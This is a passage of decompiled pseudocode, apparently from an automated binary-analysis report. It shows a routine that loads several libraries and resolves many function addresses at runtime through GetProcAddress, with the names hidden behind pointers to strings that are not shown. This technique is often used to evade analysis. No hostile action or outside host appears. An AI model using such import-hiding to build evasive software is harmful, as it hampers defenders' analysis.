				_Unknown_base(*)()* _t125;
				CHAR* _t126;
				_Unknown_base(*)()* _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				_Unknown_base(*)()* _t130;
				CHAR* _t131;
				_Unknown_base(*)()* _t132;
				struct HINSTANCE__* _t133;
				_Unknown_base(*)()* _t134;
				_Unknown_base(*)()* _t135;
				CHAR* _t136;
				_Unknown_base(*)()* _t137;
				struct HINSTANCE__* _t138;
				_Unknown_base(*)()* _t139;
				_Unknown_base(*)()* _t141;
				struct HINSTANCE__* _t142;
				_Unknown_base(*)()* _t143;
				_Unknown_base(*)()* _t145;
				struct HINSTANCE__* _t146;
				_Unknown_base(*)()* _t147;
				_Unknown_base(*)()* _t148;
				CHAR* _t149;
				_Unknown_base(*)()* _t150;
				struct HINSTANCE__* _t151;
				_Unknown_base(*)()* _t152;
				_Unknown_base(*)()* _t154;
				struct HINSTANCE__* _t155;
				_Unknown_base(*)()* _t156;
				_Unknown_base(*)()* _t157;
				CHAR* _t158;
				_Unknown_base(*)()* _t159;
				struct HINSTANCE__* _t160;
				_Unknown_base(*)()* _t161;
				_Unknown_base(*)()* _t162;
				CHAR* _t163;
				_Unknown_base(*)()* _t164;
				struct HINSTANCE__* _t165;
				_Unknown_base(*)()* _t166;
				_Unknown_base(*)()* _t167;
				CHAR* _t168;
				_Unknown_base(*)()* _t169;
				struct HINSTANCE__* _t170;
				_Unknown_base(*)()* _t171;
				_Unknown_base(*)()* _t172;
				CHAR* _t173;
				_Unknown_base(*)()* _t174;
				struct HINSTANCE__* _t175;
				_Unknown_base(*)()* _t176;
				_Unknown_base(*)()* _t177;
				CHAR* _t178;
				_Unknown_base(*)()* _t179;
				struct HINSTANCE__* _t180;
				_Unknown_base(*)()* _t181;
				_Unknown_base(*)()* _t182;
				CHAR* _t183;
				_Unknown_base(*)()* _t184;
				struct HINSTANCE__* _t185;
				_Unknown_base(*)()* _t186;
				_Unknown_base(*)()* _t187;
				CHAR* _t188;
				_Unknown_base(*)()* _t189;
				struct HINSTANCE__* _t190;
				_Unknown_base(*)()* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t193;
				_Unknown_base(*)()* _t194;
				struct HINSTANCE__* _t195;
				_Unknown_base(*)()* _t196;
				CHAR* _t198;
				_Unknown_base(*)()* _t199;
				struct HINSTANCE__* _t200;
				_Unknown_base(*)()* _t201;
				_Unknown_base(*)()* _t202;
				CHAR* _t203;
				_Unknown_base(*)()* _t204;
				struct HINSTANCE__* _t205;
				_Unknown_base(*)()* _t206;
				_Unknown_base(*)()* _t207;
				CHAR* _t208;
				_Unknown_base(*)()* _t209;
				struct HINSTANCE__* _t210;
				_Unknown_base(*)()* _t211;
				_Unknown_base(*)()* _t212;
				CHAR* _t213;
				_Unknown_base(*)()* _t214;
				struct HINSTANCE__* _t215;
				_Unknown_base(*)()* _t216;
				_Unknown_base(*)()* _t217;
				CHAR* _t218;
				_Unknown_base(*)()* _t219;
				struct HINSTANCE__* _t220;
				_Unknown_base(*)()* _t221;
				_Unknown_base(*)()* _t222;
				CHAR* _t223;
				_Unknown_base(*)()* _t224;
				struct HINSTANCE__* _t225;
				_Unknown_base(*)()* _t226;
				_Unknown_base(*)()* _t227;
				CHAR* _t228;
				_Unknown_base(*)()* _t229;
				struct HINSTANCE__* _t230;
				_Unknown_base(*)()* _t231;
				_Unknown_base(*)()* _t232;
				CHAR* _t233;
				_Unknown_base(*)()* _t234;
				struct HINSTANCE__* _t235;
				_Unknown_base(*)()* _t236;
				_Unknown_base(*)()* _t237;
				CHAR* _t238;
				_Unknown_base(*)()* _t239;
				struct HINSTANCE__* _t240;
				_Unknown_base(*)()* _t241;
				CHAR* _t243;
				_Unknown_base(*)()* _t244;
				struct HINSTANCE__* _t245;
				_Unknown_base(*)()* _t246;
				_Unknown_base(*)()* _t247;
				CHAR* _t248;
				_Unknown_base(*)()* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t252;
				CHAR* _t253;
				CHAR* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				CHAR* _t257;
				struct HINSTANCE__* _t258;
				CHAR* _t259;
				struct HINSTANCE__* _t260;
				CHAR* _t261;
				CHAR* _t262;
				CHAR* _t263;
				struct HINSTANCE__* _t264;
				CHAR* _t265;
				CHAR* _t266;
				CHAR* _t267;
				CHAR* _t268;
				CHAR* _t269;
				CHAR* _t270;
				CHAR* _t271;
				struct HINSTANCE__* _t272;
				CHAR* _t273;
				struct HINSTANCE__* _t274;
				CHAR* _t275;
				struct HINSTANCE__* _t276;
				CHAR* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				struct HINSTANCE__* _t280;
				CHAR* _t281;
				struct HINSTANCE__* _t282;
				CHAR* _t283;
				CHAR* _t284;
				CHAR* _t285;
				struct HINSTANCE__* _t286;
				CHAR* _t287;
				struct HINSTANCE__* _t288;
				CHAR* _t289;
				struct HINSTANCE__* _t290;
				CHAR* _t291;
				struct HINSTANCE__* _t292;
				CHAR* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				CHAR* _t303;
				CHAR* _t304;
				CHAR* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				CHAR* _t308;
				CHAR* _t309;
				CHAR* _t310;
				struct HINSTANCE__* _t311;
				CHAR* _t312;
				struct HINSTANCE__* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				CHAR* _t316;
				struct HINSTANCE__* _t317;
				CHAR* _t318;
				struct HINSTANCE__* _t319;
				CHAR* _t320;
				struct HINSTANCE__* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				CHAR* _t332;
				struct HINSTANCE__* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				struct HINSTANCE__* _t347;
				CHAR* _t348;
				CHAR* _t349;
				CHAR* _t350;
				CHAR* _t351;
				CHAR* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				CHAR* _t355;
				struct HINSTANCE__* _t356;
				CHAR* _t357;
				struct HINSTANCE__* _t358;
				CHAR* _t359;
				struct HINSTANCE__* _t360;
				CHAR* _t361;
				struct HINSTANCE__* _t362;
				CHAR* _t363;
				struct HINSTANCE__* _t364;
				CHAR* _t365;
				struct HINSTANCE__* _t366;
				CHAR* _t367;
				struct HINSTANCE__* _t368;
				CHAR* _t369;
				struct HINSTANCE__* _t370;
				CHAR* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				CHAR* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				CHAR* _t396;
				struct HINSTANCE__* _t397;
				CHAR* _t398;
				struct HINSTANCE__* _t399;
				CHAR* _t400;
				struct HINSTANCE__* _t401;
				CHAR* _t402;
				struct HINSTANCE__* _t403;
				CHAR* _t404;
				struct HINSTANCE__* _t405;
				CHAR* _t406;
				struct HINSTANCE__* _t407;
				CHAR* _t408;
				struct HINSTANCE__* _t409;
				CHAR* _t410;
				struct HINSTANCE__* _t411;
				CHAR* _t412;
				struct HINSTANCE__* _t413;
				CHAR* _t414;
				struct HINSTANCE__* _t415;
				CHAR* _t416;
				struct HINSTANCE__* _t417;
				CHAR* _t418;
				struct HINSTANCE__* _t419;
				CHAR* _t420;
				struct HINSTANCE__* _t421;
				CHAR* _t422;
				struct HINSTANCE__* _t423;
				CHAR* _t424;
				struct HINSTANCE__* _t425;
				CHAR* _t426;
				struct HINSTANCE__* _t427;
				CHAR* _t428;
				struct HINSTANCE__* _t429;
				CHAR* _t430;
				struct HINSTANCE__* _t431;
				CHAR* _t432;
				struct HINSTANCE__* _t433;
				CHAR* _t434;
				struct HINSTANCE__* _t435;
				CHAR* _t436;
				struct HINSTANCE__* _t437;
				CHAR* _t438;
				struct HINSTANCE__* _t439;
				CHAR* _t440;
				struct HINSTANCE__* _t441;
				CHAR* _t442;

				_t1 =  *0x468084; // 0x771a0000
				if(_t1 != 0) {
					_t309 =  *0x456b2c; // 0x43f6548
					_t154 = GetProcAddress(_t1, _t309);
					_t404 =  *0x456b38; // 0x43f6f40
					 *0x468070 = _t154;
					_t155 =  *0x468084; // 0x771a0000
					_t156 = GetProcAddress(_t155, _t404);
					_t310 =  *0x456bc4; // 0x43f6410
					_t405 =  *0x468084; // 0x771a0000
					 *0x4680f0 = _t156;
					_t157 = GetProcAddress(_t405, _t310);
					_t311 =  *0x468084; // 0x771a0000
					 *0x468058 = _t157;
					_t158 =  *0x45716c; // 0x2538520
					_t159 = GetProcAddress(_t311, _t158);
					_t406 =  *0x4571e8; // 0x43f6350
					 *0x467f2c = _t159;
					_t160 =  *0x468084; // 0x771a0000
					_t161 = GetProcAddress(_t160, _t406);
					_t312 =  *0x456f48; // 0x43f6e80
					_t407 =  *0x468084; // 0x771a0000
					 *0x467f24 = _t161;
					_t162 = GetProcAddress(_t407, _t312);
					_t313 =  *0x468084; // 0x771a0000
					 *0x467fd0 = _t162;
					_t163 =  *0x456bb4; // 0x43f65a8
					_t164 = GetProcAddress(_t313, _t163);
					_t408 =  *0x456e34; // 0x43f6368
					 *0x4680e0 = _t164;
					_t165 =  *0x468084; // 0x771a0000
					_t166 = GetProcAddress(_t165, _t408);
					_t314 =  *0x457284; // 0x43f6458
					_t409 =  *0x468084; // 0x771a0000
					 *0x46801c = _t166;
					_t167 = GetProcAddress(_t409, _t314);
					_t315 =  *0x468084; // 0x771a0000
					 *0x468094 = _t167;
					_t168 =  *0x4571f8; // 0x43f63b0
					_t169 = GetProcAddress(_t315, _t168);
					_t410 =  *0x4571d0; // 0x43f65c0
					 *0x467ecc = _t169;
					_t170 =  *0x468084; // 0x771a0000
					_t171 = GetProcAddress(_t170, _t410);
					_t316 =  *0x457364; // 0x43f64a0
					_t411 =  *0x468084; // 0x771a0000
					 *0x4680a8 = _t171;
					_t172 = GetProcAddress(_t411, _t316);
					_t317 =  *0x468084; // 0x771a0000
					 *0x467ff4 = _t172;
					_t173 =  *0x456d84; // 0x43f63c8
					_t174 = GetProcAddress(_t317, _t173);
					_t412 =  *0x457068; // 0x43f6fa0
					 *0x467ed0 = _t174;
					_t175 =  *0x468084; // 0x771a0000
					_t176 = GetProcAddress(_t175, _t412);
					_t318 =  *0x457004; // 0x43f63e0
					_t413 =  *0x468084; // 0x771a0000
					 *0x467fcc = _t176;
					_t177 = GetProcAddress(_t413, _t318);
					_t319 =  *0x468084; // 0x771a0000
					 *0x467f30 = _t177;
					_t178 =  *0x457090; // 0x43f6638
					_t179 = GetProcAddress(_t319, _t178);
					_t414 =  *0x456b28; // 0x43f67b8
					 *0x467f10 = _t179;
					_t180 =  *0x468084; // 0x771a0000
					_t181 = GetProcAddress(_t180, _t414);
					_t320 =  *0x457238; // 0x43f6e60
					_t415 =  *0x468084; // 0x771a0000
					 *0x4680e4 = _t181;
					_t182 = GetProcAddress(_t415, _t320);
					_t321 =  *0x468084; // 0x771a0000
					 *0x467eac = _t182;
					_t183 =  *0x45707c; // 0x43f6788
					_t184 = GetProcAddress(_t321, _t183);
					_t416 =  *0x457134; // 0x43f66f8
					 *0x4680f8 = _t184;
					_t185 =  *0x468084; // 0x771a0000
					_t186 = GetProcAddress(_t185, _t416);
					_t322 =  *0x456d80; // 0x43f67d0
					_t417 =  *0x468084; // 0x771a0000
					 *0x467f50 = _t186;
					_t187 = GetProcAddress(_t417, _t322);
					_t323 =  *0x468084; // 0x771a0000
					 *0x467ec0 = _t187;
					_t188 =  *0x45700c; // 0x43f6710
					_t189 = GetProcAddress(_t323, _t188);
					_t418 =  *0x456ee0; // 0x43f67a0
					 *0x468000 = _t189;
					_t190 =  *0x468084; // 0x771a0000
					_t191 = GetProcAddress(_t190, _t418);
					_t324 =  *0x456bec; // 0x43f6668
					_t419 =  *0x468084; // 0x771a0000
					 *0x467fb0 = _t191;
					_t192 = GetProcAddress(_t419, _t324);
					_t325 =  *0x468084; // 0x771a0000
					 *0x467ee4 = _t192;
					_t193 =  *0x456cb4; // 0x43f6698
					_t194 = GetProcAddress(_t325, _t193);
					_t420 =  *0x456e8c; // 0x43f66b0
					 *0x467e78 = _t194;
					_t195 =  *0x468084; // 0x771a0000
					_t196 = GetProcAddress(_t195, _t420);
					_t326 =  *0x456fa8; // 0x43f67e8
					_t421 =  *0x468084; // 0x771a0000
					 *0x4680f4 = _t196;
					 *0x467f04 = GetProcAddress(_t421, _t326);
					_t198 =  *0x456cd8; // 0x43f6ca0
					_t327 =  *0x468084; // 0x771a0000
					_t199 = GetProcAddress(_t327, _t198);
					_t422 =  *0x456fe8; // 0x43f6680
					 *0x467fac = _t199;
					_t200 =  *0x468084; // 0x771a0000
					_t201 = GetProcAddress(_t200, _t422);
					_t328 =  *0x4570c0; // 0x43f6650
					_t423 =  *0x468084; // 0x771a0000
					 *0x468028 = _t201;
					_t202 = GetProcAddress(_t423, _t328);
					_t329 =  *0x468084; // 0x771a0000
					 *0x467e84 = _t202;
					_t203 =  *0x457344; // 0x43f6d40
					_t204 = GetProcAddress(_t329, _t203);
					_t424 =  *0x457114; // 0x2538548
					 *0x4680c8 = _t204;
					_t205 =  *0x468084; // 0x771a0000
					_t206 = GetProcAddress(_t205, _t424);
					_t330 =  *0x456ecc; // 0x43f66c8
					_t425 =  *0x468084; // 0x771a0000
					 *0x4680e8 = _t206;
					_t207 = GetProcAddress(_t425, _t330);
					_t331 =  *0x468084; // 0x771a0000
					 *0x467ee0 = _t207;
					_t208 =  *0x456b34; // 0x43f66e0
					_t209 = GetProcAddress(_t331, _t208);
					_t426 =  *0x456f40; // 0x43f6ec0
					 *0x467f3c = _t209;
					_t210 =  *0x468084; // 0x771a0000
					_t211 = GetProcAddress(_t210, _t426);
					_t332 =  *0x457058; // 0x43f6728
					_t427 =  *0x468084; // 0x771a0000
					 *0x467eb0 = _t211;
					_t212 = GetProcAddress(_t427, _t332);
					_t333 =  *0x468084; // 0x771a0000
					 *0x467ee8 = _t212;
					_t213 =  *0x456c5c; // 0x43f6740
					_t214 = GetProcAddress(_t333, _t213);
					_t428 =  *0x456de0; // 0x43f6ee0
					 *0x4680c0 = _t214;
					_t215 =  *0x468084; // 0x771a0000
					_t216 = GetProcAddress(_t215, _t428);
					_t334 =  *0x456d1c; // 0x43f6758
					_t429 =  *0x468084; // 0x771a0000
					 *0x467fdc = _t216;
					_t217 = GetProcAddress(_t429, _t334);
					_t335 =  *0x468084; // 0x771a0000
					 *0x467fc0 = _t217;
					_t218 =  *0x4571e4; // 0x43f6770
					_t219 = GetProcAddress(_t335, _t218);
					_t430 =  *0x45713c; // 0x43f7d18
					 *0x468074 = _t219;
					_t220 =  *0x468084; // 0x771a0000
					_t221 = GetProcAddress(_t220, _t430);
					_t336 =  *0x456c8c; // 0x43f6cc0
					_t431 =  *0x468084; // 0x771a0000
					 *0x467f38 = _t221;
					_t222 = GetProcAddress(_t431, _t336);
					_t337 =  *0x468084; // 0x771a0000
					 *0x467f88 = _t222;
					_t223 =  *0x456bb0; // 0x43f6f60
					_t224 = GetProcAddress(_t337, _t223);
					_t432 =  *0x456b14; // 0x43f6f80
					 *0x467e7c = _t224;
					_t225 =  *0x468084; // 0x771a0000
					_t226 = GetProcAddress(_t225, _t432);
					_t338 =  *0x456f6c; // 0x43f7bc8
					_t433 =  *0x468084; // 0x771a0000
					 *0x468048 = _t226;
					_t227 = GetProcAddress(_t433, _t338);
					_t339 =  *0x468084; // 0x771a0000
					 *0x468034 = _t227;
					_t228 =  *0x456f64; // 0x43f7dc0
					_t229 = GetProcAddress(_t339, _t228);
					_t434 =  *0x456b18; // 0x43f6fc0
					 *0x467ff0 = _t229;
					_t230 =  *0x468084; // 0x771a0000
					_t231 = GetProcAddress(_t230, _t434);
					_t340 =  *0x456c18; // 0x43f6fe0
					_t435 =  *0x468084; // 0x771a0000
					 *0x4680cc = _t231;
					_t232 = GetProcAddress(_t435, _t340);
					_t341 =  *0x468084; // 0x771a0000
					 *0x467ebc = _t232;
					_t233 =  *0x456c78; // 0x2538700
					_t234 = GetProcAddress(_t341, _t233);
					_t436 =  *0x45725c; // 0x43f6c40
					 *0x467fc8 = _t234;
					_t235 =  *0x468084; // 0x771a0000
					_t236 = GetProcAddress(_t235, _t436);
					_t342 =  *0x4571a4; // 0x43f6ce0
					_t437 =  *0x468084; // 0x771a0000
					 *0x467f08 = _t236;
					_t237 = GetProcAddress(_t437, _t342);
					_t343 =  *0x468084; // 0x771a0000
					 *0x467ec4 = _t237;
					_t238 =  *0x4572bc; // 0x43f7b68
					_t239 = GetProcAddress(_t343, _t238);
					_t438 =  *0x457384; // 0x43f7b80
					 *0x4680a4 = _t239;
					_t240 =  *0x468084; // 0x771a0000
					_t241 = GetProcAddress(_t240, _t438);
					_t344 =  *0x456da0; // 0x43f7da8
					_t439 =  *0x468084; // 0x771a0000
					 *0x467e98 = _t241;
					 *0x468020 = GetProcAddress(_t439, _t344);
					_t243 =  *0x456f30; // 0x2538660
					_t345 =  *0x468084; // 0x771a0000
					_t244 = GetProcAddress(_t345, _t243);
					_t440 =  *0x456c20; // 0x43f7e38
					 *0x46807c = _t244;
					_t245 =  *0x468084; // 0x771a0000
					_t246 = GetProcAddress(_t245, _t440);
					_t346 =  *0x456c9c; // 0x43f7d48
					_t441 =  *0x468084; // 0x771a0000
					 *0x467eec = _t246;
					_t247 = GetProcAddress(_t441, _t346);
					_t347 =  *0x468084; // 0x771a0000
					 *0x467fc4 = _t247;
					_t248 =  *0x4571d8; // 0x43f6d60
					_t249 = GetProcAddress(_t347, _t248);
					_t442 =  *0x456f18; // 0x43f6d80
					 *0x467f1c = _t249;
					_t250 =  *0x468084; // 0x771a0000
					 *0x467e6c = GetProcAddress(_t250, _t442);
				}
				_t252 =  *0x456e3c; // 0x43b4750
				_t2 = LoadLibraryA(_t252);
				_t348 =  *0x456cc0; // 0x43b4798
				 *0x46804c = _t2; // executed
				_t3 = LoadLibraryA(_t348); // executed
				 *0x467f58 = _t3;
				_t4 =  *0x456e04; // 0x43f6038
				_t5 = LoadLibraryA(_t4);
				_t253 =  *0x456bf0; // 0x43b45a0
				 *0x467ef8 = _t5;
				_t6 = LoadLibraryA(_t253);
				_t349 =  *0x457264; // 0x43b4738
				 *0x467fa0 = _t6;
				 *0x467f94 = LoadLibraryA(_t349);
				_t8 =  *0x456b78; // 0x43b47e0
				_t9 = LoadLibraryA(_t8);
				_t254 =  *0x456d38; // 0x43b47f8
				 *0x4680bc = _t9; // executed
				_t10 = LoadLibraryA(_t254);
				_t350 =  *0x456d18; // 0x43f7c70
				 *0x467f6c = _t10; // executed
				_t11 = LoadLibraryA(_t350); // executed
				 *0x4680b0 = _t11;
				_t12 =  *0x457140; // 0x43f7c28
				_t13 = LoadLibraryA(_t12);
				_t255 =  *0x457024; // 0x43f7e08
				 *0x467f84 = _t13; // executed
				_t14 = LoadLibraryA(_t255);
				_t351 =  *0x456eb4; // 0x43f7be0
				 *0x4680a0 = _t14; // executed
				_t15 = LoadLibraryA(_t351); // executed
				 *0x467f5c = _t15;
				_t16 =  *0x46804c; // 0x76df0000
				if(_t16 != 0) {
					_t305 =  *0x456bd4; // 0x2538138
					_t145 = GetProcAddress(_t16, _t305);
					_t400 =  *0x4572b8; // 0x25324c0
					 *0x467f7c = _t145;
					_t146 =  *0x46804c; // 0x76df0000
					_t147 = GetProcAddress(_t146, _t400);
					_t306 =  *0x457070; // 0x2538228
					_t401 =  *0x46804c; // 0x76df0000
					 *0x468030 = _t147;
					_t148 = GetProcAddress(_t401, _t306);
					_t307 =  *0x46804c; // 0x76df0000
					 *0x467f28 = _t148;
					_t149 =  *0x456e80; // 0x2532780
					_t150 = GetProcAddress(_t307, _t149);
					_t402 =  *0x457088; // 0x2538368
					 *0x467f00 = _t150;
					_t151 =  *0x46804c; // 0x76df0000
					_t152 = GetProcAddress(_t151, _t402);
					_t308 =  *0x456b8c; // 0x43b47b0
					_t403 =  *0x46804c; // 0x76df0000
					 *0x467edc = _t152;
					 *0x468080 = GetProcAddress(_t403, _t308);
				}
				_t17 =  *0x467f58; // 0x76c30000
				if(_t17 != 0) {
					_t303 =  *0x456e70; // 0x25326e0
					_t141 = GetProcAddress(_t17, _t303);
					_t398 =  *0x456c08; // 0x43f6da0
					 *0x467f40 = _t141;
					_t142 =  *0x467f58; // 0x76c30000
					_t143 = GetProcAddress(_t142, _t398);
					_t304 =  *0x456b98; // 0x25325e0
					_t399 =  *0x467f58; // 0x76c30000
					 *0x467e74 = _t143;
					 *0x467ff8 = GetProcAddress(_t399, _t304);
				}
				_t18 =  *0x467e70; // 0x758e0000
				if(_t18 != 0) {
					_t293 =  *0x45724c; // 0x43f6188
					_t117 = GetProcAddress(_t18, _t293);
					_t388 =  *0x4570a0; // 0x2532660
					 *0x467f60 = _t117;
					_t118 =  *0x467e70; // 0x758e0000
					_t119 = GetProcAddress(_t118, _t388);
					_t294 =  *0x456c7c; // 0x43f6128
					_t389 =  *0x467e70; // 0x758e0000
					 *0x467f44 = _t119;
					_t120 = GetProcAddress(_t389, _t294);
					_t295 =  *0x467e70; // 0x758e0000
					 *0x467fe8 = _t120;
					_t121 =  *0x4572f0; // 0x43f6218
					_t122 = GetProcAddress(_t295, _t121);
					_t390 =  *0x456e60; // 0x43f62d8
					 *0x4680c4 = _t122;
					_t123 =  *0x467e70; // 0x758e0000
					_t124 = GetProcAddress(_t123, _t390);
					_t296 =  *0x456d24; // 0x43f6308
					_t391 =  *0x467e70; // 0x758e0000
					 *0x467e80 = _t124;
					_t125 = GetProcAddress(_t391, _t296);
					_t297 =  *0x467e70; // 0x758e0000
					 *0x46808c = _t125;
					_t126 =  *0x457150; // 0x43f60e0
					_t127 = GetProcAddress(_t297, _t126);
					_t392 =  *0x457120; // 0x253c2b8
					 *0x467f20 = _t127;
					_t128 =  *0x467e70; // 0x758e0000
					_t129 = GetProcAddress(_t128, _t392);
					_t298 =  *0x4572c4; // 0x25327c0
					_t393 =  *0x467e70; // 0x758e0000
					 *0x467f64 = _t129;
					_t130 = GetProcAddress(_t393, _t298);
					_t299 =  *0x467e70; // 0x758e0000
					 *0x467e88 = _t130;
					_t131 =  *0x457380; // 0x43f7dd8
					_t132 = GetProcAddress(_t299, _t131);
					_t394 =  *0x4570b0; // 0x43f6dc0
					 *0x4680d8 = _t132;
					_t133 =  *0x467e70; // 0x758e0000
					_t134 = GetProcAddress(_t133, _t394);
					_t300 =  *0x457198; // 0x43f6de0
					_t395 =  *0x467e70; // 0x758e0000
					 *0x468088 = _t134;
					_t135 = GetProcAddress(_t395, _t300);
					_t301 =  *0x467e70; // 0x758e0000
					 *0x467f48 = _t135;
					_t136 =  *0x456edc; // 0x43f7bb0
					_t137 = GetProcAddress(_t301, _t136);
					_t396 =  *0x456d00; // 0x43f7bf8
					 *0x467fb4 = _t137;
					_t138 =  *0x467e70; // 0x758e0000
					_t139 = GetProcAddress(_t138, _t396);
					_t302 =  *0x45728c; // 0x43f7df0
					_t397 =  *0x467e70; // 0x758e0000
					 *0x468060 = _t139;
					 *0x467ed8 = GetProcAddress(_t397, _t302);
				}
				_t19 =  *0x467ef8; // 0x6f130000
				if(_t19 != 0) {
					_t284 =  *0x456d68; // 0x2532860
					_t96 = GetProcAddress(_t19, _t284);
					_t380 =  *0x4570e4; // 0x25325a0
					 *0x467f70 = _t96;
					_t97 =  *0x467ef8; // 0x6f130000
					_t98 = GetProcAddress(_t97, _t380);
					_t285 =  *0x4570d0; // 0x2532760
					_t381 =  *0x467ef8; // 0x6f130000
					 *0x467f98 = _t98;
					_t99 = GetProcAddress(_t381, _t285);
					_t286 =  *0x467ef8; // 0x6f130000
					 *0x468054 = _t99;
					_t100 =  *0x457094; // 0x2532600
					_t101 = GetProcAddress(_t286, _t100);
					_t382 =  *0x456d78; // 0x2532620
					 *0x4680d4 = _t101;
					_t102 =  *0x467ef8; // 0x6f130000
					_t103 = GetProcAddress(_t102, _t382);
					_t287 =  *0x456fe0; // 0x43f62c0
					_t383 =  *0x467ef8; // 0x6f130000
					 *0x468090 = _t103;
					_t104 = GetProcAddress(_t383, _t287);
					_t288 =  *0x467ef8; // 0x6f130000
					 *0x467f74 = _t104;
					_t105 =  *0x4572a4; // 0x25326c0
					_t106 = GetProcAddress(_t288, _t105);
					_t384 =  *0x456f0c; // 0x43f6278
					 *0x467ea4 = _t106;
					_t107 =  *0x467ef8; // 0x6f130000
					_t108 = GetProcAddress(_t107, _t384);
					_t289 =  *0x457334; // 0x2532700
					_t385 =  *0x467ef8; // 0x6f130000
					 *0x4680ec = _t108;
					_t109 = GetProcAddress(_t385, _t289);
					_t290 =  *0x467ef8; // 0x6f130000
					 *0x467fb8 = _t109;
					_t110 =  *0x456d94; // 0x25326a0
					_t111 = GetProcAddress(_t290, _t110);
					_t386 =  *0x456fb0; // 0x2532740
					 *0x467f78 = _t111;
					_t112 =  *0x467ef8; // 0x6f130000
					_t113 = GetProcAddress(_t112, _t386);
					_t291 =  *0x457314; // 0x25327e0
					_t387 =  *0x467ef8; // 0x6f130000
					 *0x467e68 = _t113;
					_t114 = GetProcAddress(_t387, _t291);
					_t292 =  *0x467ef8; // 0x6f130000
					 *0x467f54 = _t114;
					_t115 =  *0x4572a0; // 0x43f6be0
					 *0x467f14 = GetProcAddress(_t292, _t115);
				}
				_t20 =  *0x467fa0; // 0x752b0000
				if(_t20 != 0) {
					_t375 =  *0x456d90; // 0x2532640
					_t85 = GetProcAddress(_t20, _t375);
					_t280 =  *0x467fa0; // 0x752b0000
					 *0x467ed4 = _t85;
					_t86 =  *0x4571ac; // 0x43f6068
					_t87 = GetProcAddress(_t280, _t86);
					_t376 =  *0x456ddc; // 0x4372138
					 *0x467eb4 = _t87;
					_t88 =  *0x467fa0; // 0x752b0000
					_t89 = GetProcAddress(_t88, _t376);
					_t281 =  *0x457170; // 0x43f60b0
					_t377 =  *0x467fa0; // 0x752b0000
					 *0x467e94 = _t89;
					_t90 = GetProcAddress(_t377, _t281);
					_t282 =  *0x467fa0; // 0x752b0000
					 *0x468050 = _t90;
					_t91 =  *0x457014; // 0x43f6320
					_t92 = GetProcAddress(_t282, _t91);
					_t378 =  *0x456ca8; // 0x43f62a8
					 *0x467fec = _t92;
					_t93 =  *0x467fa0; // 0x752b0000
					_t94 = GetProcAddress(_t93, _t378);
					_t283 =  *0x45734c; // 0x2532880
					_t379 =  *0x467fa0; // 0x752b0000
					 *0x467f80 = _t94;
					 *0x467f68 = GetProcAddress(_t379, _t283);
				}
				_t21 =  *0x467f94; // 0x760e0000
				if(_t21 != 0) {
					_t277 =  *0x45701c; // 0x2532800
					_t77 = GetProcAddress(_t21, _t277);
					_t372 =  *0x456e30; // 0x43f6050
					 *0x467ef0 = _t77;
					_t78 =  *0x467f94; // 0x760e0000
					_t79 = GetProcAddress(_t78, _t372);
					_t278 =  *0x457310; // 0x43f7c40
					_t373 =  *0x467f94; // 0x760e0000
					 *0x468040 = _t79;
					_t80 = GetProcAddress(_t373, _t278);
					_t279 =  *0x467f94; // 0x760e0000
					 *0x46805c = _t80;
					_t81 =  *0x456c64; // 0x43f6960
					_t82 = GetProcAddress(_t279, _t81);
					_t374 =  *0x456f14; // 0x43f6b40
					 *0x467fa4 = _t82;
					_t83 =  *0x467f94; // 0x760e0000
					 *0x467ea0 = GetProcAddress(_t83, _t374);
				}
				_t22 =  *0x4680bc; // 0x769c0000
				if(_t22 != 0) {
					_t270 =  *0x45719c; // 0x2532680
					_t59 = GetProcAddress(_t22, _t270);
					_t365 =  *0x456f34; // 0x43f6080
					 *0x467e90 = _t59;
					_t60 =  *0x4680bc; // 0x769c0000
					_t61 = GetProcAddress(_t60, _t365);
					_t271 =  *0x457188; // 0x2532820
					_t366 =  *0x4680bc; // 0x769c0000
					 *0x46803c = _t61;
					_t62 = GetProcAddress(_t366, _t271);
					_t272 =  *0x4680bc; // 0x769c0000
					 *0x468008 = _t62;
					_t63 =  *0x4571dc; // 0x43f6098
					_t64 = GetProcAddress(_t272, _t63);
					_t367 =  *0x4571d4; // 0x4372158
					 *0x467e9c = _t64;
					_t65 =  *0x4680bc; // 0x769c0000
					_t66 = GetProcAddress(_t65, _t367);
					_t273 =  *0x456e2c; // 0x43f60f8
					_t368 =  *0x4680bc; // 0x769c0000
					 *0x4680b8 = _t66;
					_t67 = GetProcAddress(_t368, _t273);
					_t274 =  *0x4680bc; // 0x769c0000
					 *0x467e8c = _t67;
					_t68 =  *0x457084; // 0x25324a0
					_t69 = GetProcAddress(_t274, _t68);
					_t369 =  *0x456db0; // 0x43f6ea0
					 *0x468014 = _t69;
